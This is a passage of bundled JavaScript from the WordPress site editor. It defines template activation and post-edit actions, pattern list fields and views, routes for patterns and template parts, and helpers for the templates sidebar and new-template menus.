42053 var { useLocation: useLocation26, useHistory: useHistory19 } = unlock(import_router30.privateApis);
42054 var useSetActiveTemplateAction = () => {
42055 const activeTheme = (0, import_data69.useSelect)(
42056 (select3) => select3(import_core_data46.store).getCurrentTheme()
42057 );
42058 const { getEntityRecord } = (0, import_data69.useSelect)(import_core_data46.store);
42059 const { editEntityRecord, saveEditedEntityRecord } = (0, import_data69.useDispatch)(import_core_data46.store);
42060 return (0, import_element139.useMemo)(
42061 () => ({
42062 id: "set-active-template",
42063 label(items) {
42064 return items.some((item) => item._isActive) ? (0, import_i18n137.__)("Deactivate") : (0, import_i18n137.__)("Activate");
42065 },
42066 isPrimary: true,
42067 icon: pencil_default,
42068 isEligible(item) {
42069 if (item.theme !== activeTheme.stylesheet) {
42070 return false;
42071 }
42072 if (typeof item.id !== "number") {
42073 return item._isActive === false;
42074 }
42075 return true;
42076 },
42077 async callback(items) {
42078 const deactivate = items.some((item) => item._isActive);
42079 const activeTemplates = {
42080 ...await getEntityRecord("root", "site").active_templates ?? {}
42081 };
42082 for (const item of items) {
42083 if (deactivate) {
42084 delete activeTemplates[item.slug];
42085 } else {
42086 activeTemplates[item.slug] = item.id;
42087 }
42088 }
42089 await editEntityRecord("root", "site", void 0, {
42090 active_templates: activeTemplates
42091 });
42092 await saveEditedEntityRecord("root", "site");
42093 }
42094 }),
42095 [
42096 editEntityRecord,
42097 saveEditedEntityRecord,
42098 getEntityRecord,
42099 activeTheme
42100 ]
42101 );
42102 };
42103 var useEditPostAction = () => {
42104 const history = useHistory19();
42105 return (0, import_element139.useMemo)(
42106 () => ({
42107 id: "edit-post",
42108 label: (0, import_i18n137.__)("Edit"),
42109 icon: pencil_default,
42110 isEligible(post2) {
42111 if (post2.status === "trash") {
42112 return false;
42113 }
42114 return post2.type !== PATTERN_TYPES.theme;
42115 },
42116 callback(items) {
42117 const post2 = items[0];
42118 history.navigate(`/${post2.type}/${post2.id}?canvas=edit`);
42119 }
42120 }),
42121 [history]
42122 );
42123 };
42124 var useQuickEditPostAction = () => {
42125 const history = useHistory19();
42126 const { path, query } = useLocation26();
42127 return (0, import_element139.useMemo)(
42128 () => ({
42129 id: "quick-edit",
42130 label: (0, import_i18n137.__)("Quick Edit"),
42131 icon: drawer_right_default,
42132 isPrimary: true,
42133 supportsBulk: true,
42134 isEligible(post2) {
42135 if (post2.status === "trash") {
42136 return false;
42137 }
42138 return post2.type === "page";
42139 },
42140 callback(items) {
42141 history.navigate(
42142 (0, import_url16.addQueryArgs)(path, {
42143 ...query,
42144 quickEdit: true,
42145 postId: items.map((item) => item.id).join(",")
42146 })
42147 );
42148 }
42149 }),
42150 [history, path, query]
42151 );
42152 };
42153
42154 // packages/edit-site/build-module/components/page-patterns/fields.mjs
42155 var import_components148 = __toESM(require_components(), 1);
42156 var import_i18n138 = __toESM(require_i18n(), 1);
42157 var import_element140 = __toESM(require_element(), 1);
42158 var import_block_editor24 = __toESM(require_block_editor(), 1);
42159 var import_blocks12 = __toESM(require_blocks(), 1);
42160 var import_editor30 = __toESM(require_editor(), 1);
42161
42162 // packages/edit-site/build-module/components/page-templates/hooks.mjs
42163 var import_core_data47 = __toESM(require_core_data(), 1);
42164 var import_data70 = __toESM(require_data(), 1);
42165 function useAddedBy(postType2, postId) {
42166 return (0, import_data70.useSelect)(
42167 (select3) => {
42168 const { getEntityRecord, getUser, getEditedEntityRecord } = select3(import_core_data47.store);
42169 const template = getEditedEntityRecord(
42170 "postType",
42171 postType2,
42172 postId
42173 );
42174 const originalSource = template?.original_source;
42175 const authorText = template?.author_text;
42176 switch (originalSource) {
42177 case "theme": {
42178 return {
42179 type: originalSource,
42180 icon: layout_default,
42181 text: authorText,
42182 isCustomized: template.source === TEMPLATE_ORIGINS.custom
42183 };
42184 }
42185 case "plugin": {
42186 return {
42187 type: originalSource,
42188 icon: plugins_default,
42189 text: authorText,
42190 isCustomized: template.source === TEMPLATE_ORIGINS.custom
42191 };
42192 }
42193 case "site": {
42194 const siteData = getEntityRecord(
42195 "root",
42196 "__unstableBase"
42197 );
42198 return {
42199 type: originalSource,
42200 icon: globe_default,
42201 imageUrl: siteData?.site_logo ? getEntityRecord(
42202 "postType",
42203 "attachment",
42204 siteData.site_logo
42205 )?.source_url : void 0,
42206 text: authorText,
42207 isCustomized: false
42208 };
42209 }
42210 default: {
42211 const user = getUser(template.author);
42212 return {
42213 type: "user",
42214 icon: comment_author_avatar_default,
42215 imageUrl: user?.avatar_urls?.[48],
42216 text: authorText ?? user?.name,
42217 isCustomized: false
42218 };
42219 }
42220 }
42221 },
42222 [postType2, postId]
42223 );
42224 }
42225
42226 // packages/edit-site/build-module/components/page-patterns/fields.mjs
42227 var import_jsx_runtime272 = __toESM(require_jsx_runtime(), 1);
42228 var { useStyle: useStyle4 } = unlock(import_editor30.privateApis);
42229 function PreviewField({ item }) {
42230 const descriptionId = (0, import_element140.useId)();
42231 const description = item.description || item?.excerpt?.raw;
42232 const isTemplatePart2 = item.type === TEMPLATE_PART_POST_TYPE;
42233 const backgroundColor = useStyle4("color.background");
42234 const blocks = (0, import_element140.useMemo)(() => {
42235 return item.blocks ?? (0, import_blocks12.parse)(item.content.raw, {
42236 __unstableSkipMigrationLogs: true
42237 });
42238 }, [item?.content?.raw, item.blocks]);
42239 const isEmpty3 = !blocks?.length;
42240 return /* @__PURE__ */ (0, import_jsx_runtime272.jsxs)(
42241 "div",
42242 {
42243 className: "page-patterns-preview-field",
42244 style: { backgroundColor },
42245 "aria-describedby": !!description ? descriptionId : void 0,
42246 children: [
42247 isEmpty3 && isTemplatePart2 && (0, import_i18n138.__)("Empty template part"),
42248 isEmpty3 && !isTemplatePart2 && (0, import_i18n138.__)("Empty pattern"),
42249 !isEmpty3 && /* @__PURE__ */ (0, import_jsx_runtime272.jsx)(import_block_editor24.BlockPreview.Async, { children: /* @__PURE__ */ (0, import_jsx_runtime272.jsx)(
42250 import_block_editor24.BlockPreview,
42251 {
42252 blocks,
42253 viewportWidth: item.viewportWidth
42254 }
42255 ) }),
42256 !!description && /* @__PURE__ */ (0, import_jsx_runtime272.jsx)("div", { hidden: true, id: descriptionId, children: description })
42257 ]
42258 }
42259 );
42260 }
42261 var previewField = {
42262 label: (0, import_i18n138.__)("Preview"),
42263 id: "preview",
42264 render: PreviewField,
42265 enableSorting: false
42266 };
42267 var SYNC_FILTERS = [
42268 {
42269 value: PATTERN_SYNC_TYPES.full,
42270 label: (0, import_i18n138._x)("Synced", "pattern (singular)"),
42271 description: (0, import_i18n138.__)("Patterns that are kept in sync across the site.")
42272 },
42273 {
42274 value: PATTERN_SYNC_TYPES.unsynced,
42275 label: (0, import_i18n138._x)("Not synced", "pattern (singular)"),
42276 description: (0, import_i18n138.__)(
42277 "Patterns that can be changed freely without affecting the site."
42278 )
42279 }
42280 ];
42281 var patternStatusField = {
42282 label: (0, import_i18n138.__)("Sync status"),
42283 id: "sync-status",
42284 render: ({ item }) => {
42285 const syncStatus = "wp_pattern_sync_status" in item ? item.wp_pattern_sync_status || PATTERN_SYNC_TYPES.full : PATTERN_SYNC_TYPES.unsynced;
42286 return /* @__PURE__ */ (0, import_jsx_runtime272.jsx)(
42287 "span",
42288 {
42289 className: `edit-site-patterns__field-sync-status-${syncStatus}`,
42290 children: SYNC_FILTERS.find(({ value }) => value === syncStatus).label
42291 }
42292 );
42293 },
42294 elements: SYNC_FILTERS,
42295 filterBy: {
42296 operators: [OPERATOR_IS],
42297 isPrimary: true
42298 },
42299 enableSorting: false
42300 };
42301 function AuthorField({ item }) {
42302 const [isImageLoaded, setIsImageLoaded] = (0, import_element140.useState)(false);
42303 const { text, icon, imageUrl } = useAddedBy(item.type, item.id);
42304 return /* @__PURE__ */ (0, import_jsx_runtime272.jsxs)(import_components148.__experimentalHStack, { alignment: "left", spacing: 0, children: [
42305 imageUrl && /* @__PURE__ */ (0, import_jsx_runtime272.jsx)(
42306 "div",
42307 {
42308 className: clsx_default("page-templates-author-field__avatar", {
42309 "is-loaded": isImageLoaded
42310 }),
42311 children: /* @__PURE__ */ (0, import_jsx_runtime272.jsx)(
42312 "img",
42313 {
42314 onLoad: () => setIsImageLoaded(true),
42315 alt: "",
42316 src: imageUrl
42317 }
42318 )
42319 }
42320 ),
42321 !imageUrl && /* @__PURE__ */ (0, import_jsx_runtime272.jsx)("div", { className: "page-templates-author-field__icon", children: /* @__PURE__ */ (0, import_jsx_runtime272.jsx)(icon_default, { icon }) }),
42322 /* @__PURE__ */ (0, import_jsx_runtime272.jsx)("span", { className: "page-templates-author-field__name", children: text })
42323 ] });
42324 }
42325 var templatePartAuthorField = {
42326 label: (0, import_i18n138.__)("Author"),
42327 id: "author",
42328 getValue: ({ item }) => item.author_text,
42329 render: AuthorField,
42330 filterBy: {
42331 isPrimary: true
42332 }
42333 };
42334
42335 // packages/edit-site/build-module/components/page-patterns/index.mjs
42336 var import_jsx_runtime273 = __toESM(require_jsx_runtime(), 1);
42337 var { ExperimentalBlockEditorProvider } = unlock(import_block_editor25.privateApis);
42338 var { usePostActions, patternTitleField } = unlock(import_editor31.privateApis);
42339 var { useLocation: useLocation27, useHistory: useHistory20 } = unlock(import_router31.privateApis);
42340 var EMPTY_ARRAY11 = [];
42341 var defaultLayouts = {
42342 [LAYOUT_TABLE]: {
42343 layout: {
42344 styles: {
42345 author: {
42346 width: "1%"
42347 }
42348 }
42349 }
42350 },
42351 [LAYOUT_GRID]: {
42352 layout: {
42353 badgeFields: ["sync-status"]
42354 }
42355 }
42356 };
42357 var DEFAULT_VIEW = {
42358 type: LAYOUT_GRID,
42359 perPage: 20,
42360 titleField: "title",
42361 mediaField: "preview",
42362 fields: ["sync-status"],
42363 filters: [],
42364 ...defaultLayouts[LAYOUT_GRID]
42365 };
42366 function usePagePatternsHeader(type, categoryId) {
42367 const { patternCategories } = usePatternCategories();
42368 const templatePartAreas = (0, import_data71.useSelect)(
42369 (select3) => select3(import_core_data48.store).getCurrentTheme()?.default_template_part_areas || [],
42370 []
42371 );
42372 let title, description, patternCategory;
42373 if (type === TEMPLATE_PART_POST_TYPE) {
42374 const templatePartArea = templatePartAreas.find(
42375 (area) => area.area === categoryId
42376 );
42377 title = templatePartArea?.label || (0, import_i18n139.__)("All Template Parts");
42378 description = templatePartArea?.description || (0, import_i18n139.__)("Includes every template part defined for any area.");
42379 } else if (type === PATTERN_TYPES.user && !!categoryId) {
42380 patternCategory = patternCategories.find(
42381 (category) => category.name === categoryId
42382 );
42383 title = patternCategory?.label;
42384 description = patternCategory?.description;
42385 }
42386 return { title, description };
42387 }
42388 function DataviewsPatterns() {
42389 const { path, query } = useLocation27();
42390 const { postType: postType2 = "wp_block", categoryId: categoryIdFromURL } = query;
42391 const history = useHistory20();
42392 const categoryId = categoryIdFromURL || PATTERN_DEFAULT_CATEGORY;
42393 const { view, updateView, isModified, resetToDefault } = useView({
42394 kind: "postType",
42395 name: postType2,
42396 slug: "default",
42397 defaultView: DEFAULT_VIEW,
42398 queryParams: {
42399 page: query.pageNumber,
42400 search: query.search
42401 },
42402 onChangeQueryParams: (params) => {
42403 history.navigate(
42404 (0, import_url17.addQueryArgs)(path, {
42405 ...query,
42406 pageNumber: params.page,
42407 search: params.search
42408 })
42409 );
42410 }
42411 });
42412 const viewSyncStatus = view.filters?.find(
42413 ({ field }) => field === "sync-status"
42414 )?.value;
42415 const { patterns, isResolving } = use_patterns_default(postType2, categoryId, {
42416 search: view.search,
42417 syncStatus: viewSyncStatus
42418 });
42419 const { records } = (0, import_core_data48.useEntityRecords)("postType", TEMPLATE_PART_POST_TYPE, {
42420 per_page: -1
42421 });
42422 const authors = (0, import_element141.useMemo)(() => {
42423 if (!records) {
42424 return EMPTY_ARRAY11;
42425 }
42426 const authorsSet = /* @__PURE__ */ new Set();
42427 records.forEach((template) => {
42428 authorsSet.add(template.author_text);
42429 });
42430 return Array.from(authorsSet).map((author) => ({
42431 value: author,
42432 label: author
42433 }));
42434 }, [records]);
42435 const fields = (0, import_element141.useMemo)(() => {
42436 const _fields = [previewField, patternTitleField];
42437 if (postType2 === PATTERN_TYPES.user) {
42438 _fields.push(patternStatusField);
42439 } else if (postType2 === TEMPLATE_PART_POST_TYPE) {
42440 _fields.push({
42441 ...templatePartAuthorField,
42442 elements: authors
42443 });
42444 }
42445 return _fields;
42446 }, [postType2, authors]);
42447 const { data, paginationInfo } = (0, import_element141.useMemo)(() => {
42448 const viewWithoutFilters = { ...view };
42449 delete viewWithoutFilters.search;
42450 if (postType2 !== TEMPLATE_PART_POST_TYPE) {
42451 viewWithoutFilters.filters = [];
42452 }
42453 return filterSortAndPaginate(patterns, viewWithoutFilters, fields);
42454 }, [patterns, view, fields, postType2]);
42455 const dataWithPermissions = useAugmentPatternsWithPermissions(data);
42456 const templatePartActions = usePostActions({
42457 postType: TEMPLATE_PART_POST_TYPE,
42458 context: "list"
42459 });
42460 const patternActions = usePostActions({
42461 postType: PATTERN_TYPES.user,
42462 context: "list"
42463 });
42464 const editAction = useEditPostAction();
42465 const actions = (0, import_element141.useMemo)(() => {
42466 if (postType2 === TEMPLATE_PART_POST_TYPE) {
42467 return [editAction, ...templatePartActions].filter(Boolean);
42468 }
42469 return [editAction, ...patternActions].filter(Boolean);
42470 }, [editAction, postType2, templatePartActions, patternActions]);
42471 const settings2 = usePatternSettings();
42472 const { title, description } = usePagePatternsHeader(
42473 postType2,
42474 categoryId
42475 );
42476 return /* @__PURE__ */ (0, import_jsx_runtime273.jsx)(ExperimentalBlockEditorProvider, { settings: settings2, children: /* @__PURE__ */ (0, import_jsx_runtime273.jsx)(
42477 page_default2,
42478 {
42479 className: "edit-site-page-patterns-dataviews",
42480 title,
42481 headingLevel: 2,
42482 subTitle: description,
42483 actions: /* @__PURE__ */ (0, import_jsx_runtime273.jsx)(
42484 PatternsActions,
42485 {
42486 categoryId,
42487 type: postType2
42488 }
42489 ),
42490 children: /* @__PURE__ */ (0, import_jsx_runtime273.jsx)(
42491 dataviews_default,
42492 {
42493 paginationInfo,
42494 fields,
42495 actions,
42496 data: dataWithPermissions || EMPTY_ARRAY11,
42497 getItemId: (item) => item.name ?? item.id,
42498 isLoading: isResolving,
42499 isItemClickable: (item) => item.type !== PATTERN_TYPES.theme,
42500 onClickItem: (item) => {
42501 history.navigate(
42502 `/${item.type}/${[
42503 PATTERN_TYPES.user,
42504 TEMPLATE_PART_POST_TYPE
42505 ].includes(item.type) ? item.id : item.name}?canvas=edit`
42506 );
42507 },
42508 view,
42509 onChangeView: updateView,
42510 defaultLayouts,
42511 onReset: isModified ? resetToDefault : false
42512 },
42513 categoryId + postType2
42514 )
42515 }
42516 ) });
42517 }
42518
42519 // packages/edit-site/build-module/components/site-editor-routes/patterns.mjs
42520 var import_jsx_runtime274 = __toESM(require_jsx_runtime(), 1);
42521 var patternsRoute = {
42522 name: "patterns",
42523 path: "/pattern",
42524 areas: {
42525 sidebar({ siteData }) {
42526 const isBlockTheme = siteData.currentTheme?.is_block_theme;
42527 const backPath = isBlockTheme || isClassicThemeWithStyleBookSupport(siteData) ? "/" : void 0;
42528 return /* @__PURE__ */ (0, import_jsx_runtime274.jsx)(SidebarNavigationScreenPatterns, { backPath });
42529 },
42530 content: /* @__PURE__ */ (0, import_jsx_runtime274.jsx)(DataviewsPatterns, {}),
42531 mobile({ siteData, query }) {
42532 const { categoryId } = query;
42533 const isBlockTheme = siteData.currentTheme?.is_block_theme;
42534 const backPath = isBlockTheme || isClassicThemeWithStyleBookSupport(siteData) ? "/" : void 0;
42535 return !!categoryId ? /* @__PURE__ */ (0, import_jsx_runtime274.jsx)(DataviewsPatterns, {}) : /* @__PURE__ */ (0, import_jsx_runtime274.jsx)(SidebarNavigationScreenPatterns, { backPath });
42536 }
42537 }
42538 };
42539
42540 // packages/edit-site/build-module/components/site-editor-routes/pattern-item.mjs
42541 var import_jsx_runtime275 = __toESM(require_jsx_runtime(), 1);
42542 var patternItemRoute = {
42543 name: "pattern-item",
42544 path: "/wp_block/:postId",
42545 areas: {
42546 sidebar({ siteData }) {
42547 const isBlockTheme = siteData.currentTheme?.is_block_theme;
42548 const backPath = isBlockTheme || isClassicThemeWithStyleBookSupport(siteData) ? "/" : void 0;
42549 return /* @__PURE__ */ (0, import_jsx_runtime275.jsx)(SidebarNavigationScreenPatterns, { backPath });
42550 },
42551 mobile: /* @__PURE__ */ (0, import_jsx_runtime275.jsx)(EditSiteEditor, {}),
42552 preview: /* @__PURE__ */ (0, import_jsx_runtime275.jsx)(EditSiteEditor, {})
42553 }
42554 };
42555
42556 // packages/edit-site/build-module/components/site-editor-routes/template-part-item.mjs
42557 var import_jsx_runtime276 = __toESM(require_jsx_runtime(), 1);
42558 var templatePartItemRoute = {
42559 name: "template-part-item",
42560 path: "/wp_template_part/*postId",
42561 areas: {
42562 sidebar: /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(SidebarNavigationScreenPatterns, { backPath: "/" }),
42563 mobile: /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(EditSiteEditor, {}),
42564 preview: /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(EditSiteEditor, {})
42565 }
42566 };
42567
42568 // packages/edit-site/build-module/components/sidebar-navigation-screen-templates-browse/index.mjs
42569 var import_i18n142 = __toESM(require_i18n(), 1);
42570
42571 // packages/edit-site/build-module/components/sidebar-navigation-screen-templates-browse/content.mjs
42572 var import_core_data49 = __toESM(require_core_data(), 1);
42573 var import_element142 = __toESM(require_element(), 1);
42574 var import_components149 = __toESM(require_components(), 1);
42575 var import_i18n140 = __toESM(require_i18n(), 1);
42576 var import_router32 = __toESM(require_router(), 1);
42577 var import_url18 = __toESM(require_url(), 1);
42578 var import_jsx_runtime277 = __toESM(require_jsx_runtime(), 1);
42579 var { useLocation: useLocation28 } = unlock(import_router32.privateApis);
42580 var EMPTY_ARRAY12 = [];
42581 function TemplateDataviewItem({ template, isActive }) {
42582 const { text, icon } = useAddedBy(template.type, template.id);
42583 return /* @__PURE__ */ (0, import_jsx_runtime277.jsx)(
42584 SidebarNavigationItem,
42585 {
42586 to: (0, import_url18.addQueryArgs)("/template", { activeView: text }),
42587 icon,
42588 "aria-current": isActive,
42589 children: text
42590 }
42591 );
42592 }
42593 function DataviewsTemplatesSidebarContent() {
42594 const {
42595 query: { activeView = "active" }
42596 } = useLocation28();
42597 const { records } = (0, import_core_data49.useEntityRecords)("root", "registeredTemplate", {
42598 // This should not be needed, the endpoint returns all registered
42599 // templates, but it's not possible right now to turn off pagination for
42600 // entity configs.
42601 per_page: -1
42602 });
42603 const firstItemPerAuthorText = (0, import_element142.useMemo)(() => {
42604 const firstItemPerAuthor = records?.reduce((acc, template) => {
42605 const author = template.author_text;
42606 if (author && !acc[author]) {
42607 acc[author] = template;
42608 }
42609 return acc;
42610 }, {});
42611 return (firstItemPerAuthor && Object.values(firstItemPerAuthor)) ?? EMPTY_ARRAY12;
42612 }, [records]);
42613 return /* @__PURE__ */ (0, import_jsx_runtime277.jsxs)(import_components149.__experimentalItemGroup, { className: "edit-site-sidebar-navigation-screen-templates-browse", children: [
42614 /* @__PURE__ */ (0, import_jsx_runtime277.jsx)(
42615 SidebarNavigationItem,
42616 {
42617 to: "/template",
42618 icon: published_default,
42619 "aria-current": activeView === "active",
42620 children: (0, import_i18n140.__)("Active templates")
42621 }
42622 ),
42623 /* @__PURE__ */ (0, import_jsx_runtime277.jsx)(
42624 SidebarNavigationItem,
42625 {
42626 to: (0, import_url18.addQueryArgs)("/template", { activeView: "user" }),
42627 icon: comment_author_avatar_default,
42628 "aria-current": activeView === "user",
42629 // Let's avoid calling them "custom templates" to avoid
42630 // confusion. "Created" is closest to meaning database
42631 // templates, created by users.
42632 // https://developer.wordpress.org/themes/classic-themes/templates/page-template-files/#creating-custom-page-templates-for-global-use
42633 children: (0, import_i18n140.__)("Created templates")
42634 }
42635 ),
42636 firstItemPerAuthorText.map((template) => {
42637 return /* @__PURE__ */ (0, import_jsx_runtime277.jsx)(
42638 TemplateDataviewItem,
42639 {
42640 template,
42641 isActive: activeView === template.author_text
42642 },
42643 template.author_text
42644 );
42645 })
42646 ] });
42647 }
42648
42649 // packages/edit-site/build-module/components/sidebar-navigation-screen-templates-browse/content-legacy.mjs
42650 var import_core_data50 = __toESM(require_core_data(), 1);
42651 var import_element143 = __toESM(require_element(), 1);
42652 var import_components150 = __toESM(require_components(), 1);
42653 var import_i18n141 = __toESM(require_i18n(), 1);
42654 var import_router33 = __toESM(require_router(), 1);
42655 var import_url19 = __toESM(require_url(), 1);
42656 var import_jsx_runtime278 = __toESM(require_jsx_runtime(), 1);
42657 var { useLocation: useLocation29 } = unlock(import_router33.privateApis);
42658 var EMPTY_ARRAY13 = [];
42659 function TemplateDataviewItem2({ template, isActive }) {
42660 const { text, icon } = useAddedBy(template.type, template.id);
42661 return /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
42662 SidebarNavigationItem,
42663 {
42664 to: (0, import_url19.addQueryArgs)("/template", { activeView: text }),
42665 icon,
42666 "aria-current": isActive,
42667 children: text
42668 }
42669 );
42670 }
42671 function DataviewsTemplatesSidebarContent2() {
42672 const {
42673 query: { activeView = "all" }
42674 } = useLocation29();
42675 const { records } = (0, import_core_data50.useEntityRecords)("postType", TEMPLATE_POST_TYPE, {
42676 per_page: -1
42677 });
42678 const firstItemPerAuthorText = (0, import_element143.useMemo)(() => {
42679 const firstItemPerAuthor = records?.reduce((acc, template) => {
42680 const author = template.author_text;
42681 if (author && !acc[author]) {
42682 acc[author] = template;
42683 }
42684 return acc;
42685 }, {});
42686 return (firstItemPerAuthor && Object.values(firstItemPerAuthor)) ?? EMPTY_ARRAY13;
42687 }, [records]);
42688 return /* @__PURE__ */ (0, import_jsx_runtime278.jsxs)(import_components150.__experimentalItemGroup, { className: "edit-site-sidebar-navigation-screen-templates-browse", children: [
42689 /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
42690 SidebarNavigationItem,
42691 {
42692 to: "/template",
42693 icon: layout_default,
42694 "aria-current": activeView === "all",
42695 children: (0, import_i18n141.__)("All templates")
42696 }
42697 ),
42698 firstItemPerAuthorText.map((template) => {
42699 return /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
42700 TemplateDataviewItem2,
42701 {
42702 template,
42703 isActive: activeView === template.author_text
42704 },
42705 template.author_text
42706 );
42707 })
42708 ] });
42709 }
42710
42711 // packages/edit-site/build-module/components/sidebar-navigation-screen-templates-browse/index.mjs
42712 var import_jsx_runtime279 = __toESM(require_jsx_runtime(), 1);
42713 function SidebarNavigationScreenTemplatesBrowse({ backPath }) {
42714 return /* @__PURE__ */ (0, import_jsx_runtime279.jsx)(
42715 SidebarNavigationScreen,
42716 {
42717 title: (0, import_i18n142.__)("Templates"),
42718 description: (0, import_i18n142.__)(
42719 "Create new templates, or reset any customizations made to the templates supplied by your theme."
42720 ),
42721 backPath,
42722 content: window?.__experimentalTemplateActivate ? /* @__PURE__ */ (0, import_jsx_runtime279.jsx)(DataviewsTemplatesSidebarContent, {}) : /* @__PURE__ */ (0, import_jsx_runtime279.jsx)(DataviewsTemplatesSidebarContent2, {})
42723 }
42724 );
42725 }
42726
42727 // packages/edit-site/build-module/components/page-templates/index.mjs
42728 var import_i18n148 = __toESM(require_i18n(), 1);
42729 var import_html_entities14 = __toESM(require_html_entities(), 1);
42730 var import_element149 = __toESM(require_element(), 1);
42731 var import_core_data55 = __toESM(require_core_data(), 1);
42732 var import_router35 = __toESM(require_router(), 1);
42733 var import_editor35 = __toESM(require_editor(), 1);
42734 var import_url22 = __toESM(require_url(), 1);
42735 var import_data75 = __toESM(require_data(), 1);
42736 var import_compose30 = __toESM(require_compose(), 1);
42737 var import_components155 = __toESM(require_components(), 1);
42738 var import_notices8 = __toESM(require_notices(), 1);
42739
42740 // packages/edit-site/build-module/components/add-new-template/index.mjs
42741 var import_components153 = __toESM(require_components(), 1);
42742 var import_html_entities12 = __toESM(require_html_entities(), 1);
42743 var import_element147 = __toESM(require_element(), 1);
42744 var import_data73 = __toESM(require_data(), 1);
42745 var import_core_data53 = __toESM(require_core_data(), 1);
42746 var import_compose29 = __toESM(require_compose(), 1);
42747 var import_i18n146 = __toESM(require_i18n(), 1);
42748 var import_notices7 = __toESM(require_notices(), 1);
42749 var import_router34 = __toESM(require_router(), 1);
42750 var import_dom13 = __toESM(require_dom(), 1);
42751
42752 // packages/edit-site/build-module/components/add-new-template/add-custom-template-modal-content.mjs
42753 var import_element145 = __toESM(require_element(), 1);
42754 var import_i18n144 = __toESM(require_i18n(), 1);
42755 var import_components151 = __toESM(require_components(), 1);
42756 var import_core_data52 = __toESM(require_core_data(), 1);
42757 var import_html_entities11 = __toESM(require_html_entities(), 1);
42758 var import_compose28 = __toESM(require_compose(), 1);
42759 var import_dom12 = __toESM(require_dom(), 1);
42760 var import_url21 = __toESM(require_url(), 1);
42761
42762 // packages/edit-site/build-module/components/add-new-template/utils.mjs
42763 var import_data72 = __toESM(require_data(), 1);
42764 var import_core_data51 = __toESM(require_core_data(), 1);
42765 var import_html_entities10 = __toESM(require_html_entities(), 1);
42766 var import_element144 = __toESM(require_element(), 1);
42767 var import_i18n143 = __toESM(require_i18n(), 1);
42768 var import_url20 = __toESM(require_url(), 1);
42769 var EMPTY_OBJECT2 = {};
42770 var getValueFromObjectPath2 = (object, path) => {
42771 let value = object;
42772 path.split(".").forEach((fieldName) => {
42773 value = value?.[fieldName];
42774 });
42775 return value;
42776 };
42777 function prefixSlug(prefix2, slug) {
42778 return `${prefix2}-${(0, import_url20.safeDecodeURI)(slug)}`;
42779 }
42780 var mapToIHasNameAndId = (entities, path) => {
42781 return (entities || []).map((entity) => ({
42782 ...entity,
42783 name: (0, import_html_entities10.decodeEntities)(getValueFromObjectPath2(entity, path))
42784 }));
42785 };
42786 var useExistingTemplates = () => {
42787 return (0, import_data72.useSelect)(
42788 (select3) => select3(import_core_data51.store).getEntityRecords(
42789 "postType",
42790 TEMPLATE_POST_TYPE,
42791 {
42792 per_page: -1
42793 }
42794 ),
42795 []
42796 );
42797 };
42798 var useDefaultTemplateTypes = () => {
42799 return (0, import_data72.useSelect)(
42800 (select3) => select3(import_core_data51.store).getCurrentTheme()?.default_template_types || [],
42801 []
42802 );
42803 };
42804 var usePublicPostTypes = () => {
42805 const postTypes = (0, import_data72.useSelect)(
42806 (select3) => select3(import_core_data51.store).getPostTypes({ per_page: -1 }),
42807 []
42808 );
42809 return (0, import_element144.useMemo)(() => {
42810 const excludedPostTypes = ["attachment"];
42811 return postTypes?.filter(
42812 ({ viewable, slug }) => viewable && !excludedPostTypes.includes(slug)
42813 ).sort((a2, b2) => {
42814 if (a2.slug === "post" || b2.slug === "post") {
42815 return 0;
42816 }
42817 return a2.name.localeCompare(b2.name);
42818 });
42819 }, [postTypes]);
42820 };
42821 var usePublicTaxonomies = () => {
42822 const taxonomies = (0, import_data72.useSelect)(
42823 (select3) => select3(import_core_data51.store).getTaxonomies({ per_page: -1 }),
42824 []
42825 );
42826 return (0, import_element144.useMemo)(() => {
42827 return taxonomies?.filter(
42828 ({ visibility }) => visibility?.publicly_queryable
42829 );
42830 }, [taxonomies]);
42831 };
42832 function usePostTypeArchiveMenuItems() {
42833 const publicPostTypes = usePublicPostTypes();
42834 const postTypesWithArchives = (0, import_element144.useMemo)(
42835 () => publicPostTypes?.filter((postType2) => postType2.has_archive),
42836 [publicPostTypes]
42837 );
42838 const existingTemplates = useExistingTemplates();
42839 const postTypeLabels = (0, import_element144.useMemo)(
42840 () => publicPostTypes?.reduce((accumulator, { labels }) => {
42841 const singularName = labels.singular_name.toLowerCase();
42842 accumulator[singularName] = (accumulator[singularName] || 0) + 1;
42843 return accumulator;
42844 }, {}),
42845 [publicPostTypes]
42846 );
42847 const needsUniqueIdentifier = (0, import_element144.useCallback)(
42848 ({ labels, slug }) => {
42849 const singularName = labels.singular_name.toLowerCase();
42850 return postTypeLabels[singularName] > 1 && singularName !== slug;
42851 },
42852 [postTypeLabels]
42853 );
42854 return (0, import_element144.useMemo)(
42855 () => postTypesWithArchives?.filter(
42856 (postType2) => !(existingTemplates || []).some(
42857 (existingTemplate) => existingTemplate.slug === "archive-" + postType2.slug
42858 )
42859 ).map((postType2) => {
42860 let title;
42861 if (needsUniqueIdentifier(postType2)) {
42862 title = (0, import_i18n143.sprintf)(
42863 // translators: %1s: Name of the post type e.g: "Post"; %2s: Slug of the post type e.g: "book".
42864 (0, import_i18n143.__)("Archive: %1$s (%2$s)"),
42865 postType2.labels.singular_name,
42866 postType2.slug
42867 );
42868 } else {
42869 title = (0, import_i18n143.sprintf)(
42870 // translators: %s: Name of the post type e.g: "Post".
42871 (0, import_i18n143.__)("Archive: %s"),
42872 postType2.labels.singular_name
42873 );
42874 }
42875 return {
42876 slug: "archive-" + postType2.slug,
42877 description: (0, import_i18n143.sprintf)(
42878 // translators: %s: Name of the post type e.g: "Post".
42879 (0, import_i18n143.__)(
42880 "Displays an archive with the latest posts of type: %s."
42881 ),
42882 postType2.labels.singular_name
42883 ),
42884 title,
42885 // `icon` is the `menu_icon` property of a post type. We
42886 // only handle `dashicons` for now, even if the `menu_icon`
42887 // also supports urls and svg as values.
42888 icon: typeof postType2.icon === "string" && postType2.icon.startsWith("dashicons-") ? postType2.icon.slice(10) : archive_default,
42889 templatePrefix: "archive"
42890 };
42891 }) || [],
42892 [postTypesWithArchives, existingTemplates, needsUniqueIdentifier]
42893 );
42894 }
42895 var usePostTypeMenuItems = (onClickMenuItem) => {
42896 const publicPostTypes = usePublicPostTypes();
42897 const defaultTemplateTypes = useDefaultTemplateTypes();
42898 const templateLabels = (0, import_element144.useMemo)(
42899 () => publicPostTypes?.reduce((accumulator, { labels }) => {
